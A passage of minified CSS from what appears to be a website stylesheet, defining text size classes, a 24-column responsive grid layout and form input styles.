;max-height:3.2045rem}.text-subtitle.text-maxlines-3,h4.text-maxlines-3{max-height:75.272px;max-height:4.7045rem}.text-subtitle.text-maxlines-4,h4.text-maxlines-4{max-height:99.272px;max-height:6.2045rem}.text-caption,h5{font-size:12px;line-height:14px;font-weight:400;font-size:.75rem;line-height:.875rem;padding-bottom:1.1816px;padding-top:1.1816px}.text-caption.text-maxlines-1,h5.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:16.3632px;max-height:1.0227rem}.text-caption.text-maxlines-2,h5.text-maxlines-2{max-height:30.3632px;max-height:1.8977rem}.text-caption.text-maxlines-3,h5.text-maxlines-3{max-height:44.3632px;max-height:2.7727rem}.text-caption.text-maxlines-4,h5.text-maxlines-4{max-height:58.3632px;max-height:3.6477rem}.text-caption-alt,h6{font-size:10px;line-height:12px;font-weight:400;font-size:.625rem;line-height:.75rem;padding-bottom:.818px;padding-top:.818px}.text-caption-alt.text-maxlines-1,h6.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:13.636px;max-height:.85225rem}.text-caption-alt.text-maxlines-2,h6.text-maxlines-2{max-height:25.636px;max-height:1.60225rem}.text-caption-alt.text-maxlines-3,h6.text-maxlines-3{max-height:37.636px;max-height:2.35225rem}.text-caption-alt.text-maxlines-4,h6.text-maxlines-4{max-height:49.636px;max-height:3.10225rem}.text-subcaption{font-size:8px;line-height:10px;font-weight:400;font-size:.5rem;line-height:.625rem;padding-bottom:.4544px;padding-top:.4544px}.text-subcaption.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:10.9088px;max-height:.6818rem}.text-subcaption.text-maxlines-2{max-height:20.9088px;max-height:1.3068rem}.text-subcaption.text-maxlines-3{max-height:30.9088px;max-height:1.9318rem}.text-subcaption.text-maxlines-4{max-height:40.9088px;max-height:2.5568rem}.text-body,p{font-size:15px;line-height:20px;font-weight:400;font-size:.9375rem;line-height:1.25rem;padding-bottom:.227px;padding-top:.227px}.text-body.text-maxlines-1,p.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:20.454px;max-height:1.27838rem}.text-body.text-maxlines-2,p.text-maxlines-2{max-height:40.454px;max-height:2.52838rem}.text-body.text-maxlines-3,p.text-maxlines-3{max-height:60.454px;max-height:3.77838rem}.text-body.text-maxlines-4,p.text-maxlines-4{max-height:80.454px;max-height:5.02838rem}.text-base{font-size:15px;line-height:20px;font-weight:600;font-size:.9375rem;line-height:1.25rem;padding-bottom:.227px;padding-top:.227px}.text-base.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:20.454px;max-height:1.27838rem}.text-base.text-maxlines-2{max-height:40.454px;max-height:2.52838rem}.text-base.text-maxlines-3{max-height:60.454px;max-height:3.77838rem}.text-base.text-maxlines-4{max-height:80.454px;max-height:5.02838rem}[class*="text-maxlines"]{overflow:hidden}.text-left{text-align:left}.text-right{text-align:right}.list-unstyled{padding-left:0;list-style:none}ul{padding-left:0;list-style:none}ul,ol{margin-top:20px;margin-bottom:20px}ul li,ol li{margin-top:12px;margin-bottom:12px}.list-inline{padding-left:0;list-style:none;margin-left:-4px}.list-inline>li{display:inline-block;padding-left:4px;padding-right:4px}blockquote{padding:8px 12px;margin:0 0 12px}.blockquote-reverse,blockquote.pull-right{padding-right:12px;padding-left:0;text-align:right}address{margin-bottom:12px}.container,.container-fluid{margin-right:auto;margin-left:auto;padding-left:2px;padding-right:2px;width:90%}.container:before,.container:after,.container-fluid:before,.container-fluid:after{content:" ";display:table}.container:after,.container-fluid:after{clear:both}.container .container,.container-fluid .container{width:auto}.row{margin-left:-2px;margin-right:-2px}.row:before,.row:after{content:" ";display:table}.row:after{clear:both}.col-xs-1,.col-sm-1,.col-md-1,.col-lg-1,.col-xs-2,.col-sm-2,.col-md-2,.col-lg-2,.col-xs-3,.col-sm-3,.col-md-3,.col-lg-3,.col-xs-4,.col-sm-4,.col-md-4,.col-lg-4,.col-xs-5,.col-sm-5,.col-md-5,.col-lg-5,.col-xs-6,.col-sm-6,.col-md-6,.col-lg-6,.col-xs-7,.col-sm-7,.col-md-7,.col-lg-7,.col-xs-8,.col-sm-8,.col-md-8,.col-lg-8,.col-xs-9,.col-sm-9,.col-md-9,.col-lg-9,.col-xs-10,.col-sm-10,.col-md-10,.col-lg-10,.col-xs-11,.col-sm-11,.col-md-11,.col-lg-11,.col-xs-12,.col-sm-12,.col-md-12,.col-lg-12,.col-xs-13,.col-sm-13,.col-md-13,.col-lg-13,.col-xs-14,.col-sm-14,.col-md-14,.col-lg-14,.col-xs-15,.col-sm-15,.col-md-15,.col-lg-15,.col-xs-16,.col-sm-16,.col-md-16,.col-lg-16,.col-xs-17,.col-sm-17,.col-md-17,.col-lg-17,.col-xs-18,.col-sm-18,.col-md-18,.col-lg-18,.col-xs-19,.col-sm-19,.col-md-19,.col-lg-19,.col-xs-20,.col-sm-20,.col-md-20,.col-lg-20,.col-xs-21,.col-sm-21,.col-md-21,.col-lg-21,.col-xs-22,.col-sm-22,.col-md-22,.col-lg-22,.col-xs-23,.col-sm-23,.col-md-23,.col-lg-23,.col-xs-24,.col-sm-24,.col-md-24,.col-lg-24{position:relative;min-height:1px;padding-left:2px;padding-right:2px}.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-13,.col-xs-14,.col-xs-15,.col-xs-16,.col-xs-17,.col-xs-18,.col-xs-19,.col-xs-20,.col-xs-21,.col-xs-22,.col-xs-23,.col-xs-24{float:left}.col-xs-1{width:4.16667%}.col-xs-2{width:8.33333%}.col-xs-3{width:12.5%}.col-xs-4{width:16.66667%}.col-xs-5{width:20.83333%}.col-xs-6{width:25%}.col-xs-7{width:29.16667%}.col-xs-8{width:33.33333%}.col-xs-9{width:37.5%}.col-xs-10{width:41.66667%}.col-xs-11{width:45.83333%}.col-xs-12{width:50%}.col-xs-13{width:54.16667%}.col-xs-14{width:58.33333%}.col-xs-15{width:62.5%}.col-xs-16{width:66.66667%}.col-xs-17{width:70.83333%}.col-xs-18{width:75%}.col-xs-19{width:79.16667%}.col-xs-20{width:83.33333%}.col-xs-21{width:87.5%}.col-xs-22{width:91.66667%}.col-xs-23{width:95.83333%}.col-xs-24{width:100%}.col-xs-pull-0{right:auto}.col-xs-pull-1{right:4.16667%}.col-xs-pull-2{right:8.33333%}.col-xs-pull-3{right:12.5%}.col-xs-pull-4{right:16.66667%}.col-xs-pull-5{right:20.83333%}.col-xs-pull-6{right:25%}.col-xs-pull-7{right:29.16667%}.col-xs-pull-8{right:33.33333%}.col-xs-pull-9{right:37.5%}.col-xs-pull-10{right:41.66667%}.col-xs-pull-11{right:45.83333%}.col-xs-pull-12{right:50%}.col-xs-pull-13{right:54.16667%}.col-xs-pull-14{right:58.33333%}.col-xs-pull-15{right:62.5%}.col-xs-pull-16{right:66.66667%}.col-xs-pull-17{right:70.83333%}.col-xs-pull-18{right:75%}.col-xs-pull-19{right:79.16667%}.col-xs-pull-20{right:83.33333%}.col-xs-pull-21{right:87.5%}.col-xs-pull-22{right:91.66667%}.col-xs-pull-23{right:95.83333%}.col-xs-pull-24{right:100%}.col-xs-push-0{left:auto}.col-xs-push-1{left:4.16667%}.col-xs-push-2{left:8.33333%}.col-xs-push-3{left:12.5%}.col-xs-push-4{left:16.66667%}.col-xs-push-5{left:20.83333%}.col-xs-push-6{left:25%}.col-xs-push-7{left:29.16667%}.col-xs-push-8{left:33.33333%}.col-xs-push-9{left:37.5%}.col-xs-push-10{left:41.66667%}.col-xs-push-11{left:45.83333%}.col-xs-push-12{left:50%}.col-xs-push-13{left:54.16667%}.col-xs-push-14{left:58.33333%}.col-xs-push-15{left:62.5%}.col-xs-push-16{left:66.66667%}.col-xs-push-17{left:70.83333%}.col-xs-push-18{left:75%}.col-xs-push-19{left:79.16667%}.col-xs-push-20{left:83.33333%}.col-xs-push-21{left:87.5%}.col-xs-push-22{left:91.66667%}.col-xs-push-23{left:95.83333%}.col-xs-push-24{left:100%}.col-xs-offset-0{margin-left:0}.col-xs-offset-1{margin-left:4.16667%}.col-xs-offset-2{margin-left:8.33333%}.col-xs-offset-3{margin-left:12.5%}.col-xs-offset-4{margin-left:16.66667%}.col-xs-offset-5{margin-left:20.83333%}.col-xs-offset-6{margin-left:25%}.col-xs-offset-7{margin-left:29.16667%}.col-xs-offset-8{margin-left:33.33333%}.col-xs-offset-9{margin-left:37.5%}.col-xs-offset-10{margin-left:41.66667%}.col-xs-offset-11{margin-left:45.83333%}.col-xs-offset-12{margin-left:50%}.col-xs-offset-13{margin-left:54.16667%}.col-xs-offset-14{margin-left:58.33333%}.col-xs-offset-15{margin-left:62.5%}.col-xs-offset-16{margin-left:66.66667%}.col-xs-offset-17{margin-left:70.83333%}.col-xs-offset-18{margin-left:75%}.col-xs-offset-19{margin-left:79.16667%}.col-xs-offset-20{margin-left:83.33333%}.col-xs-offset-21{margin-left:87.5%}.col-xs-offset-22{margin-left:91.66667%}.col-xs-offset-23{margin-left:95.83333%}.col-xs-offset-24{margin-left:100%}@media (min-width:540px){.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-13,.col-sm-14,.col-sm-15,.col-sm-16,.col-sm-17,.col-sm-18,.col-sm-19,.col-sm-20,.col-sm-21,.col-sm-22,.col-sm-23,.col-sm-24{float:left}.col-sm-1{width:4.16667%}.col-sm-2{width:8.33333%}.col-sm-3{width:12.5%}.col-sm-4{width:16.66667%}.col-sm-5{width:20.83333%}.col-sm-6{width:25%}.col-sm-7{width:29.16667%}.col-sm-8{width:33.33333%}.col-sm-9{width:37.5%}.col-sm-10{width:41.66667%}.col-sm-11{width:45.83333%}.col-sm-12{width:50%}.col-sm-13{width:54.16667%}.col-sm-14{width:58.33333%}.col-sm-15{width:62.5%}.col-sm-16{width:66.66667%}.col-sm-17{width:70.83333%}.col-sm-18{width:75%}.col-sm-19{width:79.16667%}.col-sm-20{width:83.33333%}.col-sm-21{width:87.5%}.col-sm-22{width:91.66667%}.col-sm-23{width:95.83333%}.col-sm-24{width:100%}.col-sm-pull-0{right:auto}.col-sm-pull-1{right:4.16667%}.col-sm-pull-2{right:8.33333%}.col-sm-pull-3{right:12.5%}.col-sm-pull-4{right:16.66667%}.col-sm-pull-5{right:20.83333%}.col-sm-pull-6{right:25%}.col-sm-pull-7{right:29.16667%}.col-sm-pull-8{right:33.33333%}.col-sm-pull-9{right:37.5%}.col-sm-pull-10{right:41.66667%}.col-sm-pull-11{right:45.83333%}.col-sm-pull-12{right:50%}.col-sm-pull-13{right:54.16667%}.col-sm-pull-14{right:58.33333%}.col-sm-pull-15{right:62.5%}.col-sm-pull-16{right:66.66667%}.col-sm-pull-17{right:70.83333%}.col-sm-pull-18{right:75%}.col-sm-pull-19{right:79.16667%}.col-sm-pull-20{right:83.33333%}.col-sm-pull-21{right:87.5%}.col-sm-pull-22{right:91.66667%}.col-sm-pull-23{right:95.83333%}.col-sm-pull-24{right:100%}.col-sm-push-0{left:auto}.col-sm-push-1{left:4.16667%}.col-sm-push-2{left:8.33333%}.col-sm-push-3{left:12.5%}.col-sm-push-4{left:16.66667%}.col-sm-push-5{left:20.83333%}.col-sm-push-6{left:25%}.col-sm-push-7{left:29.16667%}.col-sm-push-8{left:33.33333%}.col-sm-push-9{left:37.5%}.col-sm-push-10{left:41.66667%}.col-sm-push-11{left:45.83333%}.col-sm-push-12{left:50%}.col-sm-push-13{left:54.16667%}.col-sm-push-14{left:58.33333%}.col-sm-push-15{left:62.5%}.col-sm-push-16{left:66.66667%}.col-sm-push-17{left:70.83333%}.col-sm-push-18{left:75%}.col-sm-push-19{left:79.16667%}.col-sm-push-20{left:83.33333%}.col-sm-push-21{left:87.5%}.col-sm-push-22{left:91.66667%}.col-sm-push-23{left:95.83333%}.col-sm-push-24{left:100%}.col-sm-offset-0{margin-left:0}.col-sm-offset-1{margin-left:4.16667%}.col-sm-offset-2{margin-left:8.33333%}.col-sm-offset-3{margin-left:12.5%}.col-sm-offset-4{margin-left:16.66667%}.col-sm-offset-5{margin-left:20.83333%}.col-sm-offset-6{margin-left:25%}.col-sm-offset-7{margin-left:29.16667%}.col-sm-offset-8{margin-left:33.33333%}.col-sm-offset-9{margin-left:37.5%}.col-sm-offset-10{margin-left:41.66667%}.col-sm-offset-11{margin-left:45.83333%}.col-sm-offset-12{margin-left:50%}.col-sm-offset-13{margin-left:54.16667%}.col-sm-offset-14{margin-left:58.33333%}.col-sm-offset-15{margin-left:62.5%}.col-sm-offset-16{margin-left:66.66667%}.col-sm-offset-17{margin-left:70.83333%}.col-sm-offset-18{margin-left:75%}.col-sm-offset-19{margin-left:79.16667%}.col-sm-offset-20{margin-left:83.33333%}.col-sm-offset-21{margin-left:87.5%}.col-sm-offset-22{margin-left:91.66667%}.col-sm-offset-23{margin-left:95.83333%}.col-sm-offset-24{margin-left:100%}}@media (min-width:768px){.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12,.col-md-13,.col-md-14,.col-md-15,.col-md-16,.col-md-17,.col-md-18,.col-md-19,.col-md-20,.col-md-21,.col-md-22,.col-md-23,.col-md-24{float:left}.col-md-1{width:4.16667%}.col-md-2{width:8.33333%}.col-md-3{width:12.5%}.col-md-4{width:16.66667%}.col-md-5{width:20.83333%}.col-md-6{width:25%}.col-md-7{width:29.16667%}.col-md-8{width:33.33333%}.col-md-9{width:37.5%}.col-md-10{width:41.66667%}.col-md-11{width:45.83333%}.col-md-12{width:50%}.col-md-13{width:54.16667%}.col-md-14{width:58.33333%}.col-md-15{width:62.5%}.col-md-16{width:66.66667%}.col-md-17{width:70.83333%}.col-md-18{width:75%}.col-md-19{width:79.16667%}.col-md-20{width:83.33333%}.col-md-21{width:87.5%}.col-md-22{width:91.66667%}.col-md-23{width:95.83333%}.col-md-24{width:100%}.col-md-pull-0{right:auto}.col-md-pull-1{right:4.16667%}.col-md-pull-2{right:8.33333%}.col-md-pull-3{right:12.5%}.col-md-pull-4{right:16.66667%}.col-md-pull-5{right:20.83333%}.col-md-pull-6{right:25%}.col-md-pull-7{right:29.16667%}.col-md-pull-8{right:33.33333%}.col-md-pull-9{right:37.5%}.col-md-pull-10{right:41.66667%}.col-md-pull-11{right:45.83333%}.col-md-pull-12{right:50%}.col-md-pull-13{right:54.16667%}.col-md-pull-14{right:58.33333%}.col-md-pull-15{right:62.5%}.col-md-pull-16{right:66.66667%}.col-md-pull-17{right:70.83333%}.col-md-pull-18{right:75%}.col-md-pull-19{right:79.16667%}.col-md-pull-20{right:83.33333%}.col-md-pull-21{right:87.5%}.col-md-pull-22{right:91.66667%}.col-md-pull-23{right:95.83333%}.col-md-pull-24{right:100%}.col-md-push-0{left:auto}.col-md-push-1{left:4.16667%}.col-md-push-2{left:8.33333%}.col-md-push-3{left:12.5%}.col-md-push-4{left:16.66667%}.col-md-push-5{left:20.83333%}.col-md-push-6{left:25%}.col-md-push-7{left:29.16667%}.col-md-push-8{left:33.33333%}.col-md-push-9{left:37.5%}.col-md-push-10{left:41.66667%}.col-md-push-11{left:45.83333%}.col-md-push-12{left:50%}.col-md-push-13{left:54.16667%}.col-md-push-14{left:58.33333%}.col-md-push-15{left:62.5%}.col-md-push-16{left:66.66667%}.col-md-push-17{left:70.83333%}.col-md-push-18{left:75%}.col-md-push-19{left:79.16667%}.col-md-push-20{left:83.33333%}.col-md-push-21{left:87.5%}.col-md-push-22{left:91.66667%}.col-md-push-23{left:95.83333%}.col-md-push-24{left:100%}.col-md-offset-0{margin-left:0}.col-md-offset-1{margin-left:4.16667%}.col-md-offset-2{margin-left:8.33333%}.col-md-offset-3{margin-left:12.5%}.col-md-offset-4{margin-left:16.66667%}.col-md-offset-5{margin-left:20.83333%}.col-md-offset-6{margin-left:25%}.col-md-offset-7{margin-left:29.16667%}.col-md-offset-8{margin-left:33.33333%}.col-md-offset-9{margin-left:37.5%}.col-md-offset-10{margin-left:41.66667%}.col-md-offset-11{margin-left:45.83333%}.col-md-offset-12{margin-left:50%}.col-md-offset-13{margin-left:54.16667%}.col-md-offset-14{margin-left:58.33333%}.col-md-offset-15{margin-left:62.5%}.col-md-offset-16{margin-left:66.66667%}.col-md-offset-17{margin-left:70.83333%}.col-md-offset-18{margin-left:75%}.col-md-offset-19{margin-left:79.16667%}.col-md-offset-20{margin-left:83.33333%}.col-md-offset-21{margin-left:87.5%}.col-md-offset-22{margin-left:91.66667%}.col-md-offset-23{margin-left:95.83333%}.col-md-offset-24{margin-left:100%}}@media (min-width:992px){.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-13,.col-lg-14,.col-lg-15,.col-lg-16,.col-lg-17,.col-lg-18,.col-lg-19,.col-lg-20,.col-lg-21,.col-lg-22,.col-lg-23,.col-lg-24{float:left}.col-lg-1{width:4.16667%}.col-lg-2{width:8.33333%}.col-lg-3{width:12.5%}.col-lg-4{width:16.66667%}.col-lg-5{width:20.83333%}.col-lg-6{width:25%}.col-lg-7{width:29.16667%}.col-lg-8{width:33.33333%}.col-lg-9{width:37.5%}.col-lg-10{width:41.66667%}.col-lg-11{width:45.83333%}.col-lg-12{width:50%}.col-lg-13{width:54.16667%}.col-lg-14{width:58.33333%}.col-lg-15{width:62.5%}.col-lg-16{width:66.66667%}.col-lg-17{width:70.83333%}.col-lg-18{width:75%}.col-lg-19{width:79.16667%}.col-lg-20{width:83.33333%}.col-lg-21{width:87.5%}.col-lg-22{width:91.66667%}.col-lg-23{width:95.83333%}.col-lg-24{width:100%}.col-lg-pull-0{right:auto}.col-lg-pull-1{right:4.16667%}.col-lg-pull-2{right:8.33333%}.col-lg-pull-3{right:12.5%}.col-lg-pull-4{right:16.66667%}.col-lg-pull-5{right:20.83333%}.col-lg-pull-6{right:25%}.col-lg-pull-7{right:29.16667%}.col-lg-pull-8{right:33.33333%}.col-lg-pull-9{right:37.5%}.col-lg-pull-10{right:41.66667%}.col-lg-pull-11{right:45.83333%}.col-lg-pull-12{right:50%}.col-lg-pull-13{right:54.16667%}.col-lg-pull-14{right:58.33333%}.col-lg-pull-15{right:62.5%}.col-lg-pull-16{right:66.66667%}.col-lg-pull-17{right:70.83333%}.col-lg-pull-18{right:75%}.col-lg-pull-19{right:79.16667%}.col-lg-pull-20{right:83.33333%}.col-lg-pull-21{right:87.5%}.col-lg-pull-22{right:91.66667%}.col-lg-pull-23{right:95.83333%}.col-lg-pull-24{right:100%}.col-lg-push-0{left:auto}.col-lg-push-1{left:4.16667%}.col-lg-push-2{left:8.33333%}.col-lg-push-3{left:12.5%}.col-lg-push-4{left:16.66667%}.col-lg-push-5{left:20.83333%}.col-lg-push-6{left:25%}.col-lg-push-7{left:29.16667%}.col-lg-push-8{left:33.33333%}.col-lg-push-9{left:37.5%}.col-lg-push-10{left:41.66667%}.col-lg-push-11{left:45.83333%}.col-lg-push-12{left:50%}.col-lg-push-13{left:54.16667%}.col-lg-push-14{left:58.33333%}.col-lg-push-15{left:62.5%}.col-lg-push-16{left:66.66667%}.col-lg-push-17{left:70.83333%}.col-lg-push-18{left:75%}.col-lg-push-19{left:79.16667%}.col-lg-push-20{left:83.33333%}.col-lg-push-21{left:87.5%}.col-lg-push-22{left:91.66667%}.col-lg-push-23{left:95.83333%}.col-lg-push-24{left:100%}.col-lg-offset-0{margin-left:0}.col-lg-offset-1{margin-left:4.16667%}.col-lg-offset-2{margin-left:8.33333%}.col-lg-offset-3{margin-left:12.5%}.col-lg-offset-4{margin-left:16.66667%}.col-lg-offset-5{margin-left:20.83333%}.col-lg-offset-6{margin-left:25%}.col-lg-offset-7{margin-left:29.16667%}.col-lg-offset-8{margin-left:33.33333%}.col-lg-offset-9{margin-left:37.5%}.col-lg-offset-10{margin-left:41.66667%}.col-lg-offset-11{margin-left:45.83333%}.col-lg-offset-12{margin-left:50%}.col-lg-offset-13{margin-left:54.16667%}.col-lg-offset-14{margin-left:58.33333%}.col-lg-offset-15{margin-left:62.5%}.col-lg-offset-16{margin-left:66.66667%}.col-lg-offset-17{margin-left:70.83333%}.col-lg-offset-18{margin-left:75%}.col-lg-offset-19{margin-left:79.16667%}.col-lg-offset-20{margin-left:83.33333%}.col-lg-offset-21{margin-left:87.5%}.col-lg-offset-22{margin-left:91.66667%}.col-lg-offset-23{margin-left:95.83333%}.col-lg-offset-24{margin-left:100%}}@media (min-width:1400px){.col-xl-1,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-13,.col-xl-14,.col-xl-15,.col-xl-16,.col-xl-17,.col-xl-18,.col-xl-19,.col-xl-20,.col-xl-21,.col-xl-22,.col-xl-23,.col-xl-24{float:left}.col-xl-1{width:4.16667%}.col-xl-2{width:8.33333%}.col-xl-3{width:12.5%}.col-xl-4{width:16.66667%}.col-xl-5{width:20.83333%}.col-xl-6{width:25%}.col-xl-7{width:29.16667%}.col-xl-8{width:33.33333%}.col-xl-9{width:37.5%}.col-xl-10{width:41.66667%}.col-xl-11{width:45.83333%}.col-xl-12{width:50%}.col-xl-13{width:54.16667%}.col-xl-14{width:58.33333%}.col-xl-15{width:62.5%}.col-xl-16{width:66.66667%}.col-xl-17{width:70.83333%}.col-xl-18{width:75%}.col-xl-19{width:79.16667%}.col-xl-20{width:83.33333%}.col-xl-21{width:87.5%}.col-xl-22{width:91.66667%}.col-xl-23{width:95.83333%}.col-xl-24{width:100%}.col-xl-pull-0{right:auto}.col-xl-pull-1{right:4.16667%}.col-xl-pull-2{right:8.33333%}.col-xl-pull-3{right:12.5%}.col-xl-pull-4{right:16.66667%}.col-xl-pull-5{right:20.83333%}.col-xl-pull-6{right:25%}.col-xl-pull-7{right:29.16667%}.col-xl-pull-8{right:33.33333%}.col-xl-pull-9{right:37.5%}.col-xl-pull-10{right:41.66667%}.col-xl-pull-11{right:45.83333%}.col-xl-pull-12{right:50%}.col-xl-pull-13{right:54.16667%}.col-xl-pull-14{right:58.33333%}.col-xl-pull-15{right:62.5%}.col-xl-pull-16{right:66.66667%}.col-xl-pull-17{right:70.83333%}.col-xl-pull-18{right:75%}.col-xl-pull-19{right:79.16667%}.col-xl-pull-20{right:83.33333%}.col-xl-pull-21{right:87.5%}.col-xl-pull-22{right:91.66667%}.col-xl-pull-23{right:95.83333%}.col-xl-pull-24{right:100%}.col-xl-push-0{left:auto}.col-xl-push-1{left:4.16667%}.col-xl-push-2{left:8.33333%}.col-xl-push-3{left:12.5%}.col-xl-push-4{left:16.66667%}.col-xl-push-5{left:20.83333%}.col-xl-push-6{left:25%}.col-xl-push-7{left:29.16667%}.col-xl-push-8{left:33.33333%}.col-xl-push-9{left:37.5%}.col-xl-push-10{left:41.66667%}.col-xl-push-11{left:45.83333%}.col-xl-push-12{left:50%}.col-xl-push-13{left:54.16667%}.col-xl-push-14{left:58.33333%}.col-xl-push-15{left:62.5%}.col-xl-push-16{left:66.66667%}.col-xl-push-17{left:70.83333%}.col-xl-push-18{left:75%}.col-xl-push-19{left:79.16667%}.col-xl-push-20{left:83.33333%}.col-xl-push-21{left:87.5%}.col-xl-push-22{left:91.66667%}.col-xl-push-23{left:95.83333%}.col-xl-push-24{left:100%}.col-xl-offset-0{margin-left:0}.col-xl-offset-1{margin-left:4.16667%}.col-xl-offset-2{margin-left:8.33333%}.col-xl-offset-3{margin-left:12.5%}.col-xl-offset-4{margin-left:16.66667%}.col-xl-offset-5{margin-left:20.83333%}.col-xl-offset-6{margin-left:25%}.col-xl-offset-7{margin-left:29.16667%}.col-xl-offset-8{margin-left:33.33333%}.col-xl-offset-9{margin-left:37.5%}.col-xl-offset-10{margin-left:41.66667%}.col-xl-offset-11{margin-left:45.83333%}.col-xl-offset-12{margin-left:50%}.col-xl-offset-13{margin-left:54.16667%}.col-xl-offset-14{margin-left:58.33333%}.col-xl-offset-15{margin-left:62.5%}.col-xl-offset-16{margin-left:66.66667%}.col-xl-offset-17{margin-left:70.83333%}.col-xl-offset-18{margin-left:75%}.col-xl-offset-19{margin-left:79.16667%}.col-xl-offset-20{margin-left:83.33333%}.col-xl-offset-21{margin-left:87.5%}.col-xl-offset-22{margin-left:91.66667%}.col-xl-offset-23{margin-left:95.83333%}.col-xl-offset-24{margin-left:100%}}fieldset{padding:0;margin:0;border:0;min-width:0}legend{display:block;width:100%;padding:0;border:0}label{display:inline-block;max-width:100%}input[type="search"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type="file"]{display:block}input[type="range"]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline:thin dotted;outline-offset:-2px;outline:5px auto -webkit-focus-ring-color}output{display:block;padding-top:7px}.form-control{display:block;width:100%;background-image:none}textarea.form-control{height:auto}input[type="search"]{-webkit-appearance:none}input[type="date"],input[type="time"],input[type="datetime-local"],input[type="month"]{line-height:34px}.radio,.checkbox{position:relative;display:block}.radio label,.checkbox label{min-height:20px;margin-bottom:0;cursor:pointer}.radio.disabled label,fieldset[disabled] .radio label,.checkbox.disabled label,fieldset[disabled] .checkbox label{cursor:not-allowed}.help-block{display:block;margin-top:5px;margin-bottom:10px}@media (min-width:540px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn,.form-inline .input-group .form-control{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .radio,.form-inline .checkbox{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}}input,button,textarea,select,option,progress{max-width:100%;line-height:inherit}.text-input,input[type="color"],input[type="date"],input[type="datetime"],input[type="datetime-local"],input[type="email"],input[type="month"],input[type="number"],input[type="password"],input[type="search"],input[type="tel"],input[type="text"],input[type="time"],input[type="url"],input[type="week"],textarea{padding:4px 8px;border-style:solid;border-width:2px;border-color:rgba(0,0,0,0.4);background-color:rgba(255,255,255,0.4);height:32px;height:2rem}.text-input-focus,input[type="color"]:focus,input[type="date"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="email"]:focus,input[type="month"]:focus,input[type="number"]:focus,input[type="password"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="text"]:focus,input[type="time"]:focus,input[type="url"]:focus,input[type="week"]:focus,textarea:focus{border-color:#0067b8;background-color:#fff}.text-input-moz-placeholder,input[type="color"]::-moz-placeholder,input[type="date"]::-moz-placeholder,input[type="datetime"]::-moz-placeholder,input[type="datetime-local"]::-moz-placeholder,input[type="email"]::-moz-placeholder,input[type="month"]::-moz-placeholder,input[type="number"]::-moz-placeholder,input[type="password"]::-moz-placeholder,input[type="search"]::-moz-placeholder,input[type="tel"]::-moz-placeholder,input[type="text"]::-moz-placeholder,input[type="time"]::-moz-placeholder,input[type="url"]::-moz-placeholder,input[type="week"]::-moz-placeholder,textarea::-moz-placeholder{color:rgba(0,0,0,0.6);opacity:1}.text-input-ms-placeholder,input[type="color"]:-ms-input-placeholder,input[type="date"]:-ms-input-placeholder,input[type="datetime"]:-ms-input-placeholder,input[type="datetime-local"]:-ms-input-placeholder,input[type="email"]:-ms-input-placeholder,input[type="month"]:-ms-input-placeholder,input[type="number"]:-ms-input-placeholder,input[type="password"]:-ms-input-placeholder,input[type="search"]:-ms-input-placeholder,input[type="tel"]:-ms-input-placeholder,input[type="text"]:-ms-input-placeholder,input[type="time"]:-ms-input-placeholder,input[type="url"]:-ms-input-placeholder,input[type="week"]:-ms-input-placeholder,textarea:-ms-input-placeholder{color:rgba(0,0,0,0.6)}.text-input-webkit-placeholder,input[type="color"]::-webkit-input-placeholder,input[type="date"]::-webkit-input-placeholder,input[type="datetime"]::-webkit-input-placeholder,input[type="datetime-local"]::-webkit-input-placeholder,input[type="email"]::-webkit-input-placeholder,input[type="month"]::-webkit-input-placeholder,input[type="number"]::-webkit-input-placeholder,input[type="password"]::-webkit-input-placeholder,input[type="search"]::-webkit-input-placeholder,input[type="tel"]::-webkit-input-placeholder,input[type="text"]::-webkit-input-placeholder,input[type="time"]::-webkit-input-placeholder,input[type="url"]::-webkit-input-placeholder,input[type="week"]::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:rgba(0,0,0,0.6)}.text-input-disabled,input[type="color"][disabled],input[type="color"][readonly],fieldset[disabled] input[type="color"],input[type="date"][disabled],input[type="date"][readonly],fieldset[disabled] input[type="date"],input[type="datetime"][disabled],input[type="datetime"][readonly],fieldset[disabled] input[type="datetime"],input[type="datetime-local"][disabled],input[type="datetime-local"][readonly],fieldset[disabled] input[type="datetime-local"],input[type="email"][disabled],input[type="email"][readonly],fieldset[disabled] input[type="email"],input[type="month"][disabled],input[type="month"][readonly],fieldset[disabled] input[type="month"],input[type="number"][disabled],input[type="number"][readonly],fieldset[disabled] input[type="number"],input[type="password"][disabled],input[type="password"][readonly],fieldset[disabled] input[type="password"],input[type="search"][disabled],input[type="search"][readonly],fieldset[disabled] input[type="search"],input[type="tel"][disabled],input[type="tel"][readonly],fieldset[disabled] input[type="tel"],input[type="text"][disabled],input[type="text"][readonly],fieldset[disabled] 